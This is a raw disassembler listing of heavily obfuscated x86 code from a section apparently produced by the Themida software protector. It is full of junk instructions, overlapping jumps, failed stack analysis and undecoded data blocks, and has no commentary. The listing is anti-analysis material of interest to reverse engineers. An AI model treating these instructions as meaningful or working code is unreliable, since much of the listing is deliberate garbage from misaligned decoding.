loc_5D0684: ; CODE XREF: sub_5D06CC+30j call near ptr loc_5D0693+1 fcomp dword ptr ds:0E2309E55h wait sbb [esi-5Ah], bl loc_5D0693: ; CODE XREF: sub_5D067C:loc_5D0684p call near ptr 0E6DE66F0h sub_5D067C endp ; sp-analysis failed add bl, bl push esp adc [esi-7Fh], esp leave cmpsb rep popa call sub_5D06B5 pop ebp inc ebp or [bp+si], edx retf 8DCEh ; --------------------------------------------------------------------------- db 26h dd 0FBAD062Fh db 0F6h ; =============== S U B R O U T I N E ======================================= sub_5D06B5 proc near ; CODE XREF: Themida_:005D06A2p pop eax or edx, 3F8B0992h call near ptr sub_5D06CC std fimul dword ptr [ecx-3B16747h] jnp short loc_5D071B bound esp, [ebx] sub_5D06B5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D06CC proc far ; CODE XREF: sub_5D06B5+7p or ecx, 2287AE14h pop edx push edi jnp loc_5D06DC mov ebx, edx loc_5D06DC: ; CODE XREF: sub_5D06CC+8j pop edx pusha movsx eax, di push ecx pusha popa pop ecx popa pusha popa jp loc_5D06F6 jnb loc_5D06F6 mov dl, 0A9h loc_5D06F6: ; CODE XREF: sub_5D06CC+1Cj ; sub_5D06CC+22j ... cld call near ptr sub_5D0702 jo short loc_5D0684 push cs retf sub_5D06CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub cl, bl ; =============== S U B R O U T I N E ======================================= sub_5D0702 proc far ; CODE XREF: sub_5D06CC+2Bp push eax mov edx, 1EBEEBAFh pop esi pop ebx mov bh, 8Fh jmp loc_5D0725 ; --------------------------------------------------------------------------- pop ebp dec ebx sbb byte ptr [ecx-7Ah], 55h mov [edx], eax push ecx retf ; --------------------------------------------------------------------------- loc_5D071B: ; CODE XREF: sub_5D06B5+13j ja short loc_5D06F6 rol dword ptr [edx+5C2EEC91h], cl aad 28h loc_5D0725: ; CODE XREF: sub_5D0702+Aj mov si, cx call sub_5D0740 ja short loc_5D0791 fst dword ptr [eax] pop ebx or [esi+770E3A3Ah], ecx mov ds:8EA13EC1h, al bound ecx, [edx+60h] sub_5D0702 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D0740 proc near ; CODE XREF: sub_5D0702+26p mov ax, 7FECh pop edi mov ecx, ebx jle $+6 jmp loc_5D0763 ; --------------------------------------------------------------------------- dw 0B7D3h dd 0D76A8EB9h, 0EA7C90FBh, 53B3847Ch db 0Fh, 0B9h, 76h ; --------------------------------------------------------------------------- loc_5D0763: ; CODE XREF: sub_5D0740+Dj mov eax, 1DD727E4h pusha jle loc_5D0773 mov dx, 0C69Ah loc_5D0773: ; CODE XREF: sub_5D0740+29j movzx edi, si popa jmp loc_5D0786 ; --------------------------------------------------------------------------- xor [ebx], ah cmpsd scasd scasb int 3 ; Trap to Debugger sub esi, ecx jb short loc_5D07EA loc_5D0786: ; CODE XREF: sub_5D0740+37j jmp loc_5D079C ; --------------------------------------------------------------------------- db 0D5h dd 6552BA98h db 33h ; --------------------------------------------------------------------------- loc_5D0791: ; CODE XREF: sub_5D0702+2Bj lodsb mov [ebx], ecx xchg eax, ecx cmp ecx, [edx+ebx+1Ch] stc dec esi push ebx loc_5D079C: ; CODE XREF: sub_5D0740:loc_5D0786j mov edi, 7453AFB5h mov esi, 285AE1E8h or ebx, 25139DE0h pusha mov bx, 0AE82h mov esi, edx popa mov al, 9Eh jmp loc_5D07C3 ; --------------------------------------------------------------------------- db 37h dd 0B20B1408h db 6, 0Ah, 34h ; --------------------------------------------------------------------------- loc_5D07C3: ; CODE XREF: sub_5D0740+76j mov edi, ebx adc edx, 6F9E307Ch jmp loc_5D07D7 ; CODE XREF: sub_5D0740+BBj ; --------------------------------------------------------------------------- dd 0E55827EDh db 72h, 49h, 0A8h ; --------------------------------------------------------------------------- loc_5D07D7: ; CODE XREF: sub_5D0740+8Bj xor eax, 63FBD04Ah mov eax, ebx jnp loc_5D0802 call sub_5D07FE loc_5D07EA: ; CODE XREF: sub_5D0740+44j stosb cmpsb cmp al, 59h sub [edx], ah sub eax, 82CF10ADh mov ch, 82h xchg eax, ebx db 65h push 0FFFFFFFCh ja short near ptr loc_5D07CB+2 inc ebx sub_5D0740 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D07FE proc near ; CODE XREF: sub_5D0740+A5p movsx edi, dx pop ebx loc_5D0802: ; CODE XREF: sub_5D0740+9Fj adc ax, 46h mov ebx, 1A5EE753h mov eax, 342A85A0h push eax movzx ecx, bx pop edx jmp loc_5D0824 ; --------------------------------------------------------------------------- db 0C4h dd 0C8547E02h, 0C0371B55h ; --------------------------------------------------------------------------- loc_5D0824: ; CODE XREF: sub_5D07FE+18j or dx, 691Eh jmp loc_5D0841 ; --------------------------------------------------------------------------- dw 2B09h dd 596F100Dh, 19205129h, 0ECD9D6B3h, 5007F0B6h db 0 ; --------------------------------------------------------------------------- loc_5D0841: ; CODE XREF: sub_5D07FE+2Bj push esi pusha call near ptr loc_5D0850+5 rol byte ptr [edi+esi+7973563h], 91h loc_5D0850: ; CODE XREF: sub_5D07FE+45p jmp fword ptr [ebx+5FDE5AB9h] sub_5D07FE endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, 5CEDAAA3h popa pop ecx movsx edx, bx push ecx movzx ebx, si pop edi push edi jmp loc_5D087C ; --------------------------------------------------------------------------- db 8 dd 110C4133h, 293684h, 0ECF534D5h, 34A9752h ; --------------------------------------------------------------------------- loc_5D087C: ; CODE XREF: Themida_:005D0866j pop ecx call near ptr loc_5D0883+5 stc loc_5D0883: ; CODE XREF: Themida_:005D087Dp fnstcw word ptr [ebp+66AA246Ah] mov ecx, ebx pop eax jnb loc_5D08A0 pusha jz $+6 add esi, 6E371221h popa loc_5D08A0: ; CODE XREF: Themida_:005D088Cj jnp loc_5D08BE call loc_5D08BD lahf mov dh, [edx] shr dword ptr [esi-2DA45CF2h], 0CAh ; --------------------------------------------------------------------------- db 8Eh, 0B5h, 0A6h dd 64CDE575h ; --------------------------------------------------------------------------- pop ds loc_5D08BD: ; CODE XREF: Themida_:005D08A6p pop ecx loc_5D08BE: ; CODE XREF: Themida_:loc_5D08A0j mov ecx, 6B33D8EBh jmp loc_5D08D6 ; --------------------------------------------------------------------------- dd 7711F1FAh, 0FE9983CFh, 0F07563F7h db 4Ch, 0B9h ; --------------------------------------------------------------------------- loc_5D08D6: ; CODE XREF: Themida_:005D08C3j mov esi, edi sub eax, 2281F098h or cl, 2Dh or edi, 6AD273A3h jg loc_5D08EF push ebx pop edi loc_5D08EF: ; CODE XREF: Themida_:005D08E7j mov si, di call sub_5D0904 xchg eax, esp push ebp ; --------------------------------------------------------------------------- db 8Fh, 0D8h, 6Ch dd 182F78D5h, 513ABFC2h ; =============== S U B R O U T I N E ======================================= sub_5D0904 proc near ; CODE XREF: Themida_:005D08F2p ; sub_5D093B+36j jbe loc_5D090F adc ax, 0FD6h loc_5D090F: ; CODE XREF: sub_5D0904j pop esi cmc jmp loc_5D0926 ; --------------------------------------------------------------------------- dw 0EC17h dd 3D9C2574h, 2F41543Dh, 481A606Bh db 18h, 85h ; --------------------------------------------------------------------------- loc_5D0926: ; CODE XREF: sub_5D0904+Dj mov edx, edi push ecx call sub_5D093B iret sub_5D0904 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0BAh dd 21162BFh, 9646F189h db 0AEh, 95h, 89h ; =============== S U B R O U T I N E ======================================= sub_5D093B proc near ; CODE XREF: sub_5D0904+25p mov ebx, esi pop edx pop esi jmp loc_5D0958 ; --------------------------------------------------------------------------- dd 52800720h, 0D5784BC3h, 7F1994DCh, 0FE9B3852h, 72D65A81h ; --------------------------------------------------------------------------- loc_5D0958: ; CODE XREF: sub_5D093B+4j push esi mov ebx, 130996F0h pop ebx mov di, 22E0h or di, 0B58Fh call near ptr loc_5D0976+1 adc byte ptr [ebx-34h], 0DCh jge short near ptr sub_5D0904+5 dec ebx dec ebp leave loc_5D0976: ; CODE XREF: sub_5D093B+2Dp sbb byte ptr [ebx+0Fh], 0BFh sub_5D093B endp ; sp-analysis failed mov byte ptr [esi+60h], 0Fh mov edi, 12E8C6h ; --------------------------------------------------------------------------- db 0 dd 9F5D9B00h, 7948B13Ah, 2E7DE471h, 5BBB87C3h, 59C0868Ah dd 840F5861h, 2, 8B0FE28Ah, 0Bh, 58B0Fh, 0CFBB0000h, 0E86A9E53h dd 0Dh, 0EFAB463h, 0C5163D37h, 0E257A954h, 68B0F08h, 0F000000h dd 8Dh, 0B70F5900h, 0BB6656C1h, 815978F2h, 1AC6FCE2h, 88F0F44h dd 51000000h, 6874C781h, 66583893h, 7AB0C18Bh, 0BE8h, 0F691CC00h dd 36DBC82Ah, 875606D6h, 0FEB70F57h, 0E881595Fh, 628ED4D2h dd 5E95E0BEh, 7E97Fh, 1EC10000h, 966262B6h, 87C58022h dd 98D0Fh, 66600000h, 0BA66F18Bh, 66611175h, 0E860CB8Bh dd 8, 9C8E53C4h, 4B7EE35Ch, 90D1815Eh, 6110577Ch, 51B866F9h dd 382CBB6Eh, 10E93D31h, 87000000h, 48463BE3h, 5CF7D174h dd 4B38A20Ch, 8B9271DFh, 0B70F56F2h, 0B4BB58D1h, 0E96709DAh dd 0Bh, 0D232B532h, 914BFA1Bh, 0F009AFBh, 148Fh, 0EE800h dd 73A00000h, 0D68B99D6h, 82FB5941h, 96BA1429h, 63BE665Bh dd 0DABF0F6Ch, 0FE9h, 6EA6E00h, 0AD10DBF2h, 0F6D7BFD5h dd 6B231420h, 0A8B8DA8Bh, 0E876B563h, 0Fh, 524181C7h, 0B68BB95Ah dd 0A2A10AD5h, 0BB2E8F7Bh, 5B4526C2h, 8B666058h, 0BF0F60F9h dd 3ED081F8h, 61310F3Bh, 2860F61h, 8A000000h, 7870FDCh dd 60000000h, 8BF98B66h, 62B861D7h, 661FA6D9h, 2C84E881h dd 81DAB70Fh, 7521A1CEh, 6E9F505h, 0D8000000h, 7FDE250Eh dd 0FB8B6681h, 0CE9h, 0A8B53000h, 63B6B160h, 22FBB9EAh dd 0FD78B8Eh, 12B7F6BFh, 0EE9h, 68BA8E00h, 26DEFAE4h, 2E9D50BAh dd 66F68523h, 7E9D18Bh, 0AB000000h, 3E0B60C2h, 8D0FB54Bh dd 6, 0B12FC681h, 0F1813D47h, 748D6CE3h, 0BFE38166h, 0CF45BF1Ah dd 81667C7Eh, 66A167F6h, 0F86DDA81h, 66F28B66h, 810FDA8Bh dd 2, 0E9575953h, 0Fh, 210767A3h, 377C6BABh, 381B886Bh dd 58A4FA2Ah, 0FE9h, 9EF21B00h, 58C49AB7h, 0D3088C58h dd 0F6DFDAC3h, 0FC4AC180h, 13E960h, 0AB8A0000h, 493D509Ah dd 8E319BC1h, 19B22472h, 324D2ABDh, 0FBBF0F5Ah, 0CDDF8061h dd 94EE8050h, 38E28158h, 0F4623FCh, 2E88h, 13E800h, 3D700000h dd 5D372EA9h, 0F87DB603h, 2E9A4179h, 36CBAA62h, 10E9C6h dd 347F0000h, 0A9B64757h, 1B38D2D1h, 0FAD22B88h, 0E8591CBCh dd 5, 3183679Fh, 8B665EE6h, 7E9D0h, 0BB40000h, 5C10C412h dd 0F7B70F17h, 94CEE1BEh, 0FF28B12h, 387h, 0DBB70F00h dd 2CE980F5h, 0EE20FEBFh, 38C0F14h, 80000000h, 0B70FF4E5h dd 4AEA80D6h, 6E851h, 0A9870000h, 0C5D82E70h, 830Fh, 5A580000h dd 0DE8h, 0B06DFC00h, 270F81CDh, 417F9EAAh, 85BABBA0h dd 5A37C501h, 26A4BF66h, 0DE8B6660h, 0F61C38Bh, 781h, 0C7B95600h dd 5B193AACh, 14E9h, 0BE4C9F00h, 39203155h, 2E337FC0h dd 4A969A59h, 0F70FD15Ch, 66D18ABAh, 668846BBh, 9BB1DF81h dd 5BDE8A50h, 996FE281h, 0E2812F3Ah, 6BF79EC0h, 4820Fh dd 0BF660000h, 5BB3F2CCh, 10E9h, 0B7910F00h, 0A5158DB7h dd 2462D885h, 0F0421122h, 5E833h, 50640000h, 597EBE87h dd 0B8FB8B66h, 1CB3F4F5h, 0E8FBB70Fh, 6, 5D8D8F30h, 8C0F0C51h dd 5, 3BD78166h, 0AE95F92h, 0B6000000h, 94A7020Fh, 1EB1D83Ah dd 8A0F60E6h, 2, 8B0F6160h, 0 ; --------------------------------------------------------------------------- popa jle loc_5D0D55 or ebx, 796FE6Ah loc_5D0D55: ; CODE XREF: Themida_:005D0D49j jmp loc_5D0D68 ; --------------------------------------------------------------------------- dw 9E75h dd 0A06E20D0h, 475C206Eh, 5F7D87E5h ; --------------------------------------------------------------------------- loc_5D0D68: ; CODE XREF: Themida_:loc_5D0D55j xor di, 447Bh jmp loc_5D0D82 ; --------------------------------------------------------------------------- cmp al, 7Ch xchg eax, esi push esp pusha lodsd movsd sub eax, 430D84E6h jmp fword ptr [ebp-7Fh] ; --------------------------------------------------------------------------- scasd loc_5D0D82: ; CODE XREF: Themida_:005D0D6Dj mov dx, ax adc si, 0E429h movsx ecx, si pusha sub di, 23A6h movsx ecx, ax popa jmp loc_5D0DA8 ; --------------------------------------------------------------------------- dd 9D586F69h, 0FEA92DA6h, 8E298C87h ; --------------------------------------------------------------------------- loc_5D0DA8: ; CODE XREF: Themida_:005D0D97j add ax, 73BFh mov di, si mov cx, bx mov edi, esi mov bx, ax movsx ebx, si movsx eax, bx or eax, 3A3331F2h jp $+6 call sub_5D0DE2 pushf jl short loc_5D0E48 pop ecx adc bh, [edx] mov dh, 0E6h fbld tbyte ptr [edx-0DC872E7h] mov ds:5F317A2Eh, al ; =============== S U B R O U T I N E ======================================= sub_5D0DE2 proc near ; CODE XREF: Themida_:005D0DCAp jnp loc_5D0DEA mov bh, 0D9h loc_5D0DEA: ; CODE XREF: sub_5D0DE2j pop edi jo loc_5D0DFC js loc_5D0DFC mov ebx, 6D28A28h loc_5D0DFC: ; CODE XREF: sub_5D0DE2+9j ; sub_5D0DE2+Fj call sub_5D0E14 mul dword ptr [ebx+6A4A8C12h] mov ecx, [ecx+27F6C4A8h] pop ebx inc esi call near ptr 0C65C05C7h sub_5D0DE2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D0E14 proc near ; CODE XREF: sub_5D0DE2:loc_5D0DFCp ; FUNCTION CHUNK AT 005D0E4A SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005D0E8D SIZE 0000003E BYTES ; FUNCTION CHUNK AT 005D0ED7 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005D0F01 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005D0F22 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005D0F37 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005D0F54 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005D0F86 SIZE 0000000C BYTES mov ebx, edx pop edi mov al, 90h jmp loc_5D0E27 ; --------------------------------------------------------------------------- dw 2565h dd 5175CA23h db 54h, 0C5h, 0BAh ; --------------------------------------------------------------------------- loc_5D0E27: ; CODE XREF: sub_5D0E14+5j jz loc_5D0E32 mov eax, 4A5BDC09h loc_5D0E32: ; CODE XREF: sub_5D0E14:loc_5D0E27j mov cx, 0AB1Ch push ecx ja loc_5D0E4A call near ptr loc_5D0E48+1 iret sub_5D0E14 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0B4h dd 3D2B9936h ; --------------------------------------------------------------------------- loc_5D0E48: ; CODE XREF: Themida_:005D0DD0j ; sub_5D0E14+29p loop near ptr loc_5D0EA2+2 ; START OF FUNCTION CHUNK FOR sub_5D0E14 loc_5D0E4A: ; CODE XREF: sub_5D0E14+23j pop ebx jz loc_5D0E54 mov di, ax loc_5D0E54: ; CODE XREF: sub_5D0E14+37j sbb ah, 0CEh mov edx, ecx mov esi, 2D7B5A23h pusha jl $+6 popa and si, 0CAB9h movzx edi, di mov eax, 1CDE7E09h clc ja loc_5D0E8D jmp loc_5D0E8D ; END OF FUNCTION CHUNK FOR sub_5D0E14 ; --------------------------------------------------------------------------- db 5Bh db 90h db 1Ch, 8Fh, 0B9h dd 29682F6h, 6D482528h db 0E4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D0E14 loc_5D0E8D: ; CODE XREF: sub_5D0E14+60j ; sub_5D0E14+66j sub si, 3056h mov edx, 7BBA0343h xor eax, 2343391Bh add di, 0D249h loc_5D0EA2: ; CODE XREF: Themida_:loc_5D0E48j mov cx, 4E43h call near ptr loc_5D0EB5+1 std or bl, [ecx+3Eh] mov ds:0E2AB729Fh, esp loc_5D0EB5: ; CODE XREF: sub_5D0E14+92p adc al, 8Bh sti pop ecx jge $+6 cmc and dx, 195Bh clc jmp loc_5D0ED7 ; END OF FUNCTION CHUNK FOR sub_5D0E14 ; --------------------------------------------------------------------------- db 0B6h dd 0F170D259h, 23D0170Fh ; --------------------------------------------------------------------------- xchg ebx, [ebx-1Ah] ; START OF FUNCTION CHUNK FOR sub_5D0E14 loc_5D0ED7: ; CODE XREF: sub_5D0E14+B2j push edx and edx, 4731588Fh pop esi push ecx movzx ecx, ax pop ecx jo loc_5D0EED mov ax, si loc_5D0EED: ; CODE XREF: sub_5D0E14+D0j jmp loc_5D0F01 ; END OF FUNCTION CHUNK FOR sub_5D0E14 ; --------------------------------------------------------------------------- or [ecx+4514823Ch], al mov ds:58BED968h, ah inc edx xor [edi], esi ; START OF FUNCTION CHUNK FOR sub_5D0E14 loc_5D0F01: ; CODE XREF: sub_5D0E14:loc_5D0EEDj mov eax, 31FB0FE6h clc mov ecx, 0F10D83Dh movzx ebx, dx mov al, 83h cld cld jmp loc_5D0F22 ; END OF FUNCTION CHUNK FOR sub_5D0E14 ; --------------------------------------------------------------------------- dd 508F5D0Bh, 0B7959458h db 0DBh, 67h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D0E14 loc_5D0F22: ; CODE XREF: sub_5D0E14+FFj mov ebx, 63FC5381h jmp loc_5D0F37 ; END OF FUNCTION CHUNK FOR sub_5D0E14 ; --------------------------------------------------------------------------- dd 7DD0B112h, 0CE43E6E2h db 64h, 0E6h, 0EDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D0E14 loc_5D0F37: ; CODE XREF: sub_5D0E14+113j mov ecx, esi movsx eax, si mov si, 0F914h adc di, 5BFh mov dl, 3 jmp loc_5D0F54 ; END OF FUNCTION CHUNK FOR sub_5D0E14 ; --------------------------------------------------------------------------- dd 78B14A3Dh, 52189F4Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D0E14 loc_5D0F54: ; CODE XREF: sub_5D0E14+133j movsx esi, di mov ebx, 0CDCFD23h mov ecx, 4D996D50h call near ptr loc_5D0F6B+7 setalc push ebp cdq mov cl, cl loc_5D0F6B: ; CODE XREF: sub_5D0E14+14Dp test dword ptr [ebp+esi-3Eh], 56600CFAh ja $+6 pop ecx pop edx push ecx jmp loc_5D0F86 ; END OF FUNCTION CHUNK FOR sub_5D0E14 ; --------------------------------------------------------------------------- db 59h, 44h, 27h db 89h, 2Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D0E14 loc_5D0F86: ; CODE XREF: sub_5D0E14+168j pop ecx call sub_5D0F92 push esi cwde test [ebp+59h], ebx scasd ; END OF FUNCTION CHUNK FOR sub_5D0E14 ; =============== S U B R O U T I N E ======================================= sub_5D0F92 proc near ; CODE XREF: sub_5D0E14+173p arg_0 = byte ptr 4 jb loc_5D0F9D mov eax, 10D679A6h loc_5D0F9D: ; CODE XREF: sub_5D0F92j pop ecx clc and eax, 6EF46C14h ; CODE XREF: sub_5D0FE2+Bj mov si, 77A0h push eax mov ax, si pop edi mov al, 9Fh jmp loc_5D0FC9 ; --------------------------------------------------------------------------- db 5, 29h, 35h dd 54B1EE95h, 0E261C565h, 66C8EF22h, 2651B75Bh db 7Bh ; --------------------------------------------------------------------------- loc_5D0FC9: ; CODE XREF: sub_5D0F92+1Ej mov eax, ebx call sub_5D0FE2 inc esi sub bh, al dec esp add [esi+2Bh], ecx call near ptr 0ACC6F25Ah call fword ptr [esp+ebp*8-4+arg_0] or ecx, [edx-41h] sub_5D0F92 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D0FE2 proc near ; CODE XREF: sub_5D0F92+39p cld pop ebx mov si, dx call sub_5D0FF2 popa jbe short near ptr loc_5D0F9F+4 out dx, eax push 0FFFFFFBEh sub_5D0FE2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D0FF2 proc near ; CODE XREF: sub_5D0FE2+5p movzx ecx, cx pop ecx jb loc_5D0FFE mov bl, 51h loc_5D0FFE: ; CODE XREF: sub_5D0FF2+4j movsx ebx, ax clc push ecx add cx, 7640h pop eax jle loc_5D1011 mov ah, 97h loc_5D1011: ; CODE XREF: sub_5D0FF2+17j mov ecx, 4B7F6A8Fh mov ecx, esi sub di, 7624h or bl, 80h mov eax, edi jmp loc_5D1036 ; --------------------------------------------------------------------------- db 92h dd 8435BEACh, 0C916E98Ah, 0B06BDF25h db 1Bh, 80h ; --------------------------------------------------------------------------- loc_5D1036: ; CODE XREF: sub_5D0FF2+30j jle loc_5D1047 jmp loc_5D1047 ; --------------------------------------------------------------------------- db 0ACh, 0F7h, 0D1h db 10h, 83h, 28h ; --------------------------------------------------------------------------- loc_5D1047: ; CODE XREF: sub_5D0FF2:loc_5D1036j ; sub_5D0FF2+4Aj pusha mov ecx, 4EFB1588h mov bl, cl popa jns loc_5D105B and si, 0FE04h loc_5D105B: ; CODE XREF: sub_5D0FF2+5Ej ja loc_5D1063 mov edi, eax loc_5D1063: ; CODE XREF: sub_5D0FF2:loc_5D105Bj mov ecx, ebx call near ptr loc_5D1075+4 popf adc bh, bl lodsb xchg eax, ebp lahf loop near ptr loc_5D10B0+2 cld in eax, 0EEh loc_5D1075: ; CODE XREF: sub_5D0FF2+73p sub dword ptr [edx-71F00B98h], 2 sub_5D0FF2 endp ; sp-analysis failed push ebx pop eax pop edi adc al, 0E1h mov eax, 726E84DBh mov dh, ah mov si, 9B0Ch pusha jmp loc_5D10A9 ; --------------------------------------------------------------------------- dw 3322h dd 0FEF11163h, 7A9D441Fh, 0BE28E58Eh, 769E2399h db 7Bh ; --------------------------------------------------------------------------- loc_5D10A9: ; CODE XREF: Themida_:005D1091j popa jnz loc_5D10B5 loc_5D10B0: ; CODE XREF: sub_5D0FF2+7Ej mov esi, 2037E982h loc_5D10B5: ; CODE XREF: Themida_:005D10AAj jmp loc_5D10C2 ; --------------------------------------------------------------------------- dw 2163h dd 93CE38AFh db 91h, 73h ; --------------------------------------------------------------------------- loc_5D10C2: ; CODE XREF: Themida_:loc_5D10B5j add ax, 663Bh pusha jz loc_5D10D0 mov bh, ch loc_5D10D0: ; CODE XREF: Themida_:005D10C8j mov bx, di popa call near ptr loc_5D10E0+2 sub bh, ah mov ds:2E528C2h, eax loc_5D10E0: ; CODE XREF: Themida_:005D10D4p adc eax, 0D3805944h mov edx, 66FB8B66h mov edx, eax mov cx, si stc mov cx, ax adc di, 0F511h mov edi, 3E64E47Ah jns loc_5D110D jmp loc_5D110D ; --------------------------------------------------------------------------- dd 270F81CDh ; --------------------------------------------------------------------------- stosb loc_5D110D: ; CODE XREF: Themida_:005D10FDj ; Themida_:005D1103j add ch, 70h push esi js loc_5D1124 jmp loc_5D1124 ; --------------------------------------------------------------------------- dd 0AFFF75E0h, 6D4DA76h ; --------------------------------------------------------------------------- loc_5D1124: ; CODE XREF: Themida_:005D1111j ; Themida_:005D1117j pop edi jmp loc_5D112F ; --------------------------------------------------------------------------- dw 5269h db 0F2h, 4Fh, 26h ; --------------------------------------------------------------------------- loc_5D112F: ; CODE XREF: Themida_:005D1125j ja loc_5D113A sbb si, 40A2h loc_5D113A: ; CODE XREF: Themida_:loc_5D112Fj mov ax, 8138h mov edx, 31483579h jmp loc_5D1152 ; --------------------------------------------------------------------------- pop eax retn ; --------------------------------------------------------------------------- dw 0F089h dd 50E2CF70h ; --------------------------------------------------------------------------- xchg eax, ebp pop ebx loc_5D1152: ; CODE XREF: Themida_:005D1143j cld mov dx, bx sbb di, 23BDh jl loc_5D1166 mov edi, 4099AFFFh loc_5D1166: ; CODE XREF: Themida_:005D115Bj add cx, 1DCh mov di, si sbb bh, 2Ah jmp loc_5D1185 ; --------------------------------------------------------------------------- dw 0D360h dd 4171ACFBh, 8320DBA2h, 0BAE34B8h ; --------------------------------------------------------------------------- pop esp loc_5D1185: ; CODE XREF: Themida_:005D1171j add ah, 0DAh jg loc_5D1199 jb loc_5D1199 sbb bx, 93F9h loc_5D1199: ; CODE XREF: Themida_:005D1188j ; Themida_:005D118Ej clc mov esi, 3D852BF2h call sub_5D11B8 jg short loc_5D11AE lodsb or al, 92h fmulp st(6), st pop ecx cli icebp loc_5D11AE: ; CODE XREF: Themida_:005D11A4j adc [edi-31h], esi sbb dword ptr [ecx+7563F7FEh], 0FFFFFFF0h ; =============== S U B R O U T I N E ======================================= sub_5D11B8 proc near ; CODE XREF: Themida_:005D119Fp pop ecx and ax, 1CDCh jp loc_5D11CC jl loc_5D11CC pusha popa loc_5D11CC: ; CODE XREF: sub_5D11B8+6j ; sub_5D11B8+Cj sub dx, 0EAAEh jmp loc_5D11DF ; --------------------------------------------------------------------------- dw 3A88h dd 0DF5D5B74h db 93h, 0D0h, 4Fh ; --------------------------------------------------------------------------- loc_5D11DF: ; CODE XREF: sub_5D11B8+19j movsx ecx, ax push ebx mov ebx, 7D14D2A8h pop edx mov si, ax mov eax, 24774EE9h sbb al, 0B4h sbb edi, 6702BE4Fh pusha call sub_5D1208 out 0B2h, al ; Interrupt Controller #2, 8259A ror dword ptr ds:723A1628h, cl sub_5D11B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D1208 proc near ; CODE XREF: sub_5D11B8+43p var_22 = dword ptr -22h ; FUNCTION CHUNK AT 005D12B4 SIZE 0000000C BYTES jz $+6 pop edi mov ebx, 67F1BB85h popa jmp loc_5D122D ; --------------------------------------------------------------------------- pop ebp les edx, [ebp+6115A1A7h] push edx mov edx, 0A2F7A24h adc ebx, [edi] add edi, eax pop ebp loc_5D122D: ; CODE XREF: sub_5D1208+Dj jno loc_5D1236 and ch, 2Ah loc_5D1236: ; CODE XREF: sub_5D1208:loc_5D122Dj pusha mov cx, si popa call sub_5D124C pop ebp xchg eax, ebx db 2Eh jns short loc_5D12B4 test al, 0BAh retn 6D19h sub_5D1208 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0FCEBh ; =============== S U B R O U T I N E ======================================= sub_5D124C proc near ; CODE XREF: sub_5D1208+33p js loc_5D1254 mov ch, bh loc_5D1254: ; CODE XREF: sub_5D124Cj pop ebx jz loc_5D1277 jno loc_5D1277 jmp loc_5D1277 ; --------------------------------------------------------------------------- shr edi, 1 sbb ecx, 0B92FFFF5h setalc push edi mov esp, edi sbb al, 3Bh sub [ebx+5Dh], edx loc_5D1277: ; CODE XREF: sub_5D124C+9j ; sub_5D124C+Fj ... movsx edx, di cld push eax jmp loc_5D1286 ; --------------------------------------------------------------------------- db 44h, 8Ch, 0D4h db 20h, 82h ; --------------------------------------------------------------------------- loc_5D1286: ; CODE XREF: sub_5D124C+30j pop edi and dx, 669Fh jmp loc_5D12A0 ; --------------------------------------------------------------------------- db 3Ah, 3Eh, 64h dd 2482AC96h, 3FFF8542h, 3D80D803h ; --------------------------------------------------------------------------- loc_5D12A0: ; CODE XREF: sub_5D124C+40j push ebx jp near ptr loc_5D12B9+2 jmp near ptr loc_5D12B9+2 sub_5D124C endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 56502D57h, 0CEE46CD9h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D1208 loc_5D12B4: ; CODE XREF: sub_5D1208+3Aj xchg ebx, [esp+edi*2-4Ah] inc eax loc_5D12B9: ; CODE XREF: sub_5D124C+55j ; sub_5D124C+5Bj adc byte ptr [ebp+0CE96058h], 0 ; END OF FUNCTION CHUNK FOR sub_5D1208 ; --------------------------------------------------------------------------- dd 1A710000h, 0A38FA60Fh, 0CAEB332Ah, 8D0F852Dh, 6, 8B0Fh dd 0F610000h, 8B66F9B7h, 178A0FC6h, 0E8000000h, 0Fh, 0D33E63AAh dd 0C4E4F2B9h, 0B66D5272h, 8A0DF537h, 0FFC5FF8h, 288h dd 81D88B00h, 0EDF046D9h, 0BAB8661Ch, 0C2B70F2Bh, 14E960h dd 36BE0000h, 0C819B733h, 0C8E0A0E0h, 0E175DA91h, 5652C57Ch dd 0D18AB96Bh, 0EE861h, 0EFCB0000h, 0C0CC179Bh, 51780708h dd 70D90241h, 60F558F8h, 14E957h, 5AA80000h, 0FE33CF27h dd 365842E9h, 3D0438A5h, 26CE9515h, 0F5E8EEAh, 0F61D8B7h dd 588h, 0C2D0BF00h, 8E92928h, 95000000h, 956881BCh, 817D3A23h dd 85C3C1F7h, 7E841h, 0EBCD0000h, 35834B9Ch, 0FE8B6637h dd 12E85Bh, 268E0000h, 94C1D82Ah, 0CF6E292Ch, 0EC24D470h dd 207E3653h, 0F5B36B5h, 1889h, 13E900h, 0D4340000h, 782CD5C8h dd 35B62B3Ch, 3D16A50Ch, 3F65967Fh, 0C78166E9h, 8166588Dh dd 0F84AED2h, 8166F8B7h, 8B2140C7h, 6E960D7h, 0D8000000h dd 5C1DC9BEh, 0EE992h, 0AFF50000h, 9A2D518Ch, 0CCBF0402h dd 1B6D09E8h, 0F3816661h, 0BE668C0Fh, 0EE98F84h, 36000000h dd 3E7D74C4h, 0F5FB1A45h, 10174FE9h, 